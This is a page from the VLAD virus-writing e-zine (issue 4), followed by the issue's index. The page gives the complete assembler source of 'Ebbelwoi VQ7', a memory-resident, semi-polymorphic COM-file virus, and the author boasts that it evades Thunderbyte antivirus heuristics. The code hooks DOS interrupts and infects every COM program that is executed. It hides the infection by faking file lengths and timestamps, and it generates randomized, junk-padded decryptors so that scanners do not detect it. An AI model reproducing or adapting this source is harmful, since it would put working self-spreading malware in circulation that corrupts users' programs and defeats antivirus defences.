Virus Labs & Distribution
VLAD #4 - Ebbelwoi VQ7


COMMENT *

    EBBELWOI VIRUS / Subversion Qux-7                          by Sirius
    --------------------------------------------------------------------
						 Made in Germany, 1993-4

    It  is  an  easy  to  understand  Semi-polymorphic,  memory resident
    parasitic  COM-File-Infector  utilizing  simple  filelength-stealth.

    This piece of replicating code could not be found  by  the heuristic
    algorithms of Thunderbyte AV.      The version used was TbSCAN 6.09.

    For compilation please use Turbo Assembler (3.0) from Borland.
*



ofs             equ   offset
v_len           equ   end_mark - encrypted_code
enc_len         equ   (offset end_enc_code-offset encrypted_code)/2 + 1

CODE    SEGMENT
	ASSUME  CS:CODE,DS:CODE,ES:CODE,SS:CODE
	ORG     100h

sample: jmp     start

start:
	 DB     0BEh                          ;1)  = mov si, ofs_enc
_ofs_enc DW     ofs encrypted_code

	 DB     0BAh                          ;2)  = mov dx, enc_val
_enc_val DW     0000

CRYPT:
	 DB     0B9h                          ;3)  = mov cx,v_len
_len_vir DW     0000

n_loop:
;--------------------------------------------------
	xor     [si],dx                       ;4) ;  4 bytes
	nop                                       ;
	nop                                       ;
;--------------------------------------------------
;--------------------------------------------------
	nop                                   ;5) ;; 2 bytes
	nop                                       ;; place 4 enc. key change
;--------------------------------------------------
;--------------------------------------------------
	inc     si                            ;6) ;  3 bytes
	inc     si                                ;
	nop                                       ;
;--------------------------------------------------
	loop    n_loop                        ;7) ;  2 bytes
;--------------------------------------------------
nop_ret:                                          ;
	NOP    ; may be set to a RET  (0c3h)  ;8) ;
;--------------------------------------------------

;============================================================================

encrypted_code:

	call    s1         ; push ofs s1
s1:     pop     bp         
	sub     bp,ofs s1

	mov     ax,0FEFEh
	int     21h
	cmp     si,01994h
	jz      already_resident

	xor     AX,AX
	mov     DS,AX

	lds     BX,ds:[4*21h]                    ; get int 21 handler
	mov     word ptr cs:[bp+OLD_BX],BX
	mov     word ptr cs:[bp+OLD_ES],DS

	mov     bx,cs                            ; Get address of our memory
	dec     bx                               ; block
	mov     DS,BX                            ; decrease memory allocated
	sub     WORD PTR ds:[0003h],150h         ; to this program
	sub     word ptr ds:[0012h],150h         ; decrease avail. memory

	mov     word ptr ax,ds:[0012h]           ; by paragraphs (=10 bytes)
	mov     es,ax                            ; es = our new segment
	push    cs
	pop     ds

	lea     si,[bp+encrypted_code] ; copy virus-body w/o decryptor to TOM
	mov     di,ofs encrypted_code  ; ES:encrypted_code is destination -
	mov     cx,v_len               ; so the offsets in the interrupt
	repz    movsb                  ; are equal to offsets in this
				       ; sample file
	mov     ds,cx            ; cx=0
	cli                      ; set our handler
	MOV     word ptr ds:[4*21h+2],AX
	MOV     WORD PTR ds:[4*21h],offset new_21
	sti

	push    cs
	pop     ds
	push    cs
	pop     es

already_resident:
	lea     si,[bp+orig_bytes]        ;restore first 3bytes of prog
	mov     di,100h
	movsb
	movsw

	mov     ax,100h
	push    ax
	xor     ax,ax
	ret

;============================================================================

NEW_21:
	pushf
	cmp     ax,4b00h
	jz      function_to_hang
	cmp     ah,11h
	jz      dos_dir
	cmp     ah,12h
	jz      dos_dir
	cmp     ax,0FEFEh
	jne     false_function
	mov     ax,0FE00h
	mov     si,1994h
	popf
	iret

false_function:
go_int_popf:
	popf
call_original_21:
	DB      0EAh            ; FAR JUMP old_es:old_bx
old_bx  DW      1122h
old_es  DW      3344h

dir_flag DB     00

;============================================================================

dos_dir:
	DB      2Eh                     ; assume CS:
	cmp     cs:dir_flag,1
	jz      go_int_popf

	mov     cs:dir_flag,1
	int     21h
	mov     cs:dir_flag,0

	push    ax
	push    bx
	push    dx
	push    ds
	push    es
	pushf

	or      al,al                   ; not zero means no files found
	jnz     no_files_found

	mov     ah,51h
	int     21h
	mov     es,bx
	cmp     bx,es:16                ; equal is DOS

	jne     no_files_found

	mov     ah,2fh
	int     21h

	push    es
	pop     ds

	cmp     byte ptr [bx],0ffh
	jnz     n_FCB
	add     bx,7

n_FCB:  mov     al,byte ptr [bx+23]

	and     al,00011111b
	cmp     al,00000011b         ;vegleichen auf sec.=6 (=3)
	jnz     no_files_found

	sub     word ptr [bx+29],(v_len+117)  ; 117 is length of decryptor
	sbb     word ptr [bx+31],0

no_files_found:
	popf
	pop     es
	pop     ds
	pop     dx
	pop     bx
	pop     ax

exit:   popf
	iret

;============================================================================

function_to_hang:
	cld
	push    ax         ; Function EXECUTE:
	push    bx         ; DS:DX = @ of filename
	push    cx
	push    dx
	push    si
	push    di
	push    ds
	push    es

	push    cs                      ; Move file-name to our buffer
	pop     es
	mov     di,offset name_buf
	mov     si,dx
	mov     cx,64                   ; a path can be up to 64 chars long
	rep     movsb

	push    cs
	pop     ds

;------------check if program executed is a .COM file------------------------


	mov     si,offset name_buf
orange: lodsb
	or      al,al
	jnz     orange
	cmp     [si-3],'MO'
	jz      apple
	jmp     break_infection

apple:  cmp     [si-6],'.D'     ; dont infect command.com
	jnz     continue_com
	jmp     break_infection

;--------------------our write error int24 handler--------------------------
new_int24:
       mov al,3                         ;choose '(F)ail'
       iret
;============================================================================

continue_COM:
       mov      ax,4301h                  ; clear attributes
       mov      dx,offset name_buf
       xor      cx,cx
       int      21h

       mov      ax,3d02h                              ;open file
       mov      dx,offset name_buf
       int      21h
       jc       done
       mov      handle,ax        ; save it for later turbulences
       xchg     ax,bx

       push     bx

       mov      ah,2fh                 ; copy DTA to buffer
       int      21h                    ; @ of DTA = es:bx
       push     es
       pop      ds
       push     cs
       pop      es
       mov      si,bx
       add      si,15h                ; only copy a part of DTA
       mov      di,offset dta
;       mov      cx,5
       cld
;       rep      movsb
       movsb
       movsw
       movsw

       push     cs
       pop      ds

       pop      bx

       push     cs
       pop      es

       mov      ax,time
       and      al,00011111b
       cmp      al,00000011b         ;vegleichen auf sec.=6 (=3)
       jnz      infect

done:
       mov      ah,3eh                           ;close file
       int      21h

break_infection:
       pop     es
       pop     ds
       pop     di
       pop     si
       pop     dx
       pop     cx
       pop     bx
       pop     ax
       jmp     false_function


infect:
       mov      ah,3fh                          ;erste 3 byt d. zuinfiz.prog
       mov      dx,offset orig_bytes            ;sichern
       mov      cx,3
       int      21h

       cmp word ptr offset orig_bytes-3,"MZ"
       jz  done
       cmp word ptr offset orig_bytes-3,"ZM"
       jz  done
       cmp word ptr offset orig_bytes-3,0E957h          ; checks if L.COM
       jz  done

       mov      ax,4202h                               ;pointer to EOF
       xor      cx,cx
       cwd
       int      21h
       mov      fil_len,ax            ; L„nge der Opfer-Datei

       jc       done
       cmp      ax,3                    ; file length check
       jb       done
       cmp      ax,50000
       jnb      done

       sub      ax,3
       mov      word ptr addr_jmp_op+1,ax     ;jmp - argument
       add      ax,encrypted_code-start+103h
       mov      word ptr [ofs_enc],ax
       
       push    ds                     ; inits a random number for
       xor     ax,ax                  ; procedure random from timer
       mov     ds,ax
       mov     ax,ds:[46ch]
       pop     ds
       mov     init_nr,ax

;============================================================================

;change decryptor-header with the polymorphic method

; calculate dx = enc_val
       mov      ax,-2
       call     random
       mov      enc_val,ax
       call     polymorphism

;============================================================================

;calculate and set si-argument
       mov      ax,kilo
       sub      ax,ofs enc_buffer
       add      ax,fil_len
       add      ax,100h
       mov      si,ofs_mov_si
       mov      [si+1],ax

;calculate and set cx-Argument
       mov      ax,v_len
       mov      si,ofs_crypt
       mov      [si+1],ax

;calculate and set loop-Argument
       mov      ax,kilo
       sub      ax,ofs_n_loop
       not      ax
       sub      ax,2
       mov      si,ofs_loop
       mov      byte ptr [si+1],al

;copy virus-body to buffer
       mov      si,offset encrypted_code
       mov      di,kilo     ; Ofs des n„chsten freien Byte - direkt dem
			    ; Decryptor folgend
       mov      cx,v_len
       cld
       rep      movsb

;encrypt virus-body-copy ( header wont get encrypted )
       mov      si,kilo
       mov      dx,enc_val
       mov      di,kilo
       mov      byte ptr [di-1], 0C3h               ; = RET opcode
       mov      ax,ofs_crypt
       push     di
       call     ax
       pop      di
       mov      byte ptr [di-1], 090h               ; = NOP opcode
       
       mov      dx,offset enc_buffer
       mov      cx,v_len
       mov      ax,[kilo]
       sub      ax,dx
       add      cx,ax
       mov      bx,handle
       mov      ah,40h                    ;copy encrypted virus to file
       int      21h

       jnc      york
       jmp      done

york:  mov      ax,4200h                   ;bei al=2 ist schreiben ok !!
       xor      cx,cx                      ;goto TOF
       cwd
       int      21h

       mov      ah,40h                 ;write new 3 bytes
       mov      cx,3
       mov      dx,offset addr_jmp_op
       int      21h

       mov      ax,5701h
       mov      dx,date
       mov      cx,time
       and      cl,11100000b
       or       cl,00000011b                     ;set 6 sec.!!!!!!!!
       int      21h
       jmp      done

;============================================================================

;----------------+----------+---------+---------+---------+---------+---------+---------+---------+
; FIELD NR.      |  1.      |  2.     |  3.     |  4.     |  5.     |  6.     |  7.     |  8.     |
;----------------+----------+---------+---------+---------+---------+---------+---------+---------+
;                |          |         |         |         |         |         |         |         |
; Anfang des Feldes innerhalb der TAB_MUT
  TAB_OFS_ARR DW  ofs arr_1, ofs arr_2,ofs arr_3,ofs arr_4,ofs arr_5,ofs arr_6,ofs arr_7, ofs arr_8
;                |          |         |         |         |         |         |         |         |
; L„nge des Feldes
  TAB_LEN_ARR DW     3,         3,        3,         4,        2,        3,        2,        1
;                |          |         |         |         |         |         |         |         |
; Anzahl der verschiedenen Variationen des einen Feldes
  TAB_MUT_VAR DW     1,         1,        1,         4,        6,        3,        1,        1
;                |          |         |         |         |         |         |         |         |
;----------------+----------+---------+---------+---------+---------+---------+---------+---------+

ALL_ARRAYS    equ 8           ; Field Sum

tab_mut:

arr_1: ;------------------------------------------
	DB      0BEh                               ; = mov si, ofs_enc
ofs_enc DW      0000                               ;ofs encrypted_code


arr_2: ;------------------------------------------
	DB      0BAh                               ; = mov dx, enc_val
enc_val DW      0000


arr_3: ;---------------- 2 bytes -----------------
	DB      0B9h                               ; = mov     cx,v_len
len_vir DW      0000


arr_4: ;--------------- 4 bytes ------------------
;-1-
	dec     bp
	xor     [si],dx
	inc     ax
;-2-
	xchg    ax,dx
	xor     [si],ax
	xchg    ax,dx
;-3-
	mov     di,si
	xor     [di],dx 
;-4-
	mov     bx,si
	xor     [bx],dx

arr_5: ;-------------- 2 bytes --------------------
;-1-
	inc     dx
	dec     ax
;-2-    
	dec     dx
	inc     di
;-3-
	rol     dx,1
;-4-    
	ror     dx,1
;-5-
	neg     dx
;-6-
	not     dx

arr_6: ;------------ 3 bytes -----------------------
;-1-
	inc     si
	inc     si
	inc     di
;-2-
	add     si,2
;-3-
	sub     si,-2

arr_7: ;--------------------------------------------
	DB      0E2h     ; = LOOP n_loop
	DB      00
arr_8: ;---------------------------------------------
	nop

;============================================================================

POLYMORPHISM proc near
	push    ax bx cx dx si di bp ds es
	mov     cx,all_arrays
	xor     bx,bx
	mov     kilo,ofs enc_buffer
next_array:
	call    GARB
	push    cx
	mov     si,[offset tab_ofs_arr+bx] ; offset innerhalb der TAB_MUT
	call    var_random                 ; get one Variant
	mov     dx,[offset tab_len_arr+bx] ; L„nge einer Variante
	mul     dx                         ; ax:=ax*dx
	add     si,ax                      ; si=Anfang der gew„hlten Variante

	mov     cx,[offset tab_len_arr+bx]   ; L„nge der Variante
	mov     di, kilo                  ; Offset in der CRYPT-Routine


	pop     ax             ; cx auf dem Stack = Nr. des akt. Feldes
	cmp     ax,all_arrays    ; Speichere einige wichtige Konstanten
	jne     oo1
	mov     ofs_mov_si,di    ; liefert immer den Beginn des Feldes
	jmp     short oo0
oo1:    cmp     ax,all_arrays-1
	jne     oo2
	mov     ofs_mov_dx,di
	jmp     short oo0
oo2:    cmp     ax,all_arrays-2
	jne     oo3
	mov     ofs_crypt,di
	jmp     short oo0
oo3:    cmp     ax,all_arrays-4
	jne     oo4
	mov     ofs_n_loop,di
	jmp     short oo0
oo4:    cmp     ax,all_arrays-6
	jne     oo0
	mov     ofs_loop,di
oo0:    push    ax

	cld
	rep     movsb
	mov     kilo,di

	inc     bx
	inc     bx
	pop     cx
	loop    next_array

	pop     es ds bp di si dx cx bx ax
	ret
POLYMORPHISM endp

VAR_RANDOM proc near
	push    si                  ;---
	mov     ax,[tab_mut_var+bx] ; Eine Zahl im Bereich der max. Varianten
	call    random              ; Anzahl wird erzeugt.
	pop     si                  ;---
	ret
VAR_RANDOM endp

;============================================================================
;     gives you a random number:  0 >= number > AX
;============================================================================
RANDOM proc near               ; gives you a pseudo-random number in AX
	push    bx dx
	inc     cycle
	mov     bx,init_nr
	push    cx       ;-----
	mov     cl,cycle       ;  do more randomly
	ror     bx,cl          ;
	pop     cx       ;-----
	rcl     bx,1
	rcl     bx,1
	mov     init_nr,bx
	mul     bx
	xchg    ax,dx           ; AX = pseudo-random number
	pop     dx bx
	ret
cycle   DB      0
RANDOM endp

GARB proc near                          ; behandelt einen Feld-Zwischenraum
	push    ax cx dx si di
	mov     cx,3                    ; 4 is maximum due to a SHORT LOOP
;============================================================================
; behandelt eine Instruktion
;============================================================================
garry:
	mov     si,ofs codez
other:  mov     ax,codez_number         ; Anzahl der codez in der Tabelle
	call    random
	cmp     al,last_codez
	jz      other
	mov     last_codez,al
	add     si,ax                   ; Adr. des zuf. codez's
	mov     di,kilo
	movsb
	mov     ax,-2
	call    random
	stosw
	mov     kilo,di                 ; aktualisiere cant
	loop    garry
	pop     di si dx cx ax
	ret
GARB endp

;============================================================================

last_codez DB   0
codez:
	DB      0BFh    ; mov di,xxxx
	DB      0BBh    ; mov bx,xxxx
	DB      0BDh    ; mov bp,xxxx
	DB      0A1h    ; mov ax,[xxxx]

	DB      05h     ; add ax,xxxx
	DB      2Dh     ; sub ax,xxxx
	DB      3Dh     ; cmp ax,xxxx
	DB      0Dh     ; or ax,xxxx
	DB      25h     ; and ax,xxxx
	DB      0A9h    ; test ax,xxxx
	DB      15h     ; adc ax,xxxx
	DB      1Dh     ; sbb ax,xxxx

codez_number    equ $-codez

orig_bytes      db  90h,0CDh,20h
addr_jmp_op     db  0E9h,00,00

		DB  "[EBBELWOI] Version QUX-7  3/94 Sirius",0

end_enc_code    equ $
end_mark        equ $

;============================================================================
;    Variables
;============================================================================
ofs_mov_si      dw  0000
ofs_mov_dx      dw  0000
ofs_crypt       dw  0000
ofs_n_loop      dw  0000
ofs_loop        dw  0000
fil_len         dw  0000  ; L„nge der Opfer-Datei
ofs_crypt_buf   dw  0000  ; Adresse der Crypt-Routine im Puffer

init_nr         dw  0000  ; will be init'd anyway
int24_es        dw  0000
int24_bx        dw  0000
temp_time       dw  0000
temp_date       dw  0000
handle          dw  0000
kilo            dw  0000   ; enth„lt den Offset, an den Instruktionen
			   ; kopiert werden
dta             equ $
attribs         db  00
time            dw  0000
date            dw  0000

name_buf        db  0     ; here a  64 bytes buffer for path+filename
enc_buffer      equ $

CODE    ENDS
	END     sample


- VLAD #4 INDEX -
ARTICLE.0_0       Hidden Area Story By QuantumG

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

Tax Office
ARTICLE.2_2       Fight Back!
ARTICLE.2_3       Interviews
ARTICLE.2_4       Cryptanalysis
ARTICLE.2_5       Slovakia
ARTICLE.2_6       TBMem Flaws
ARTICLE.2_7       F-Prot Troubles

ARTICLE.3_1      

Win Infection
ARTICLE.3_2       WinVir14 Disasm
ARTICLE.3_3       Andropinis
ARTICLE.3_4       Super Virus-2
ARTICLE.3_5       VTBoot
ARTICLE.3_6       Ebbelwoi VQ7
ARTICLE.3_7       Unix Viruses

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Ender Wiggin
ARTICLE.4_3       WinSurfer
ARTICLE.4_4       Antipode 2.0
ARTICLE.4_5       Bane
ARTICLE.4_6       RHINCE
ARTICLE.4_7       Tasha Yar

ARTICLE.5_1      

Replicator
ARTICLE.5_2       ART v2.2
ARTICLE.5_3       Good Times!
ARTICLE.5_4       DOS Idle
ARTICLE.5_5       Neither
ARTICLE.5_6       Virus Scripts
ARTICLE.5_7       What's Next ?

About VLAD - Links - Contact Us - Main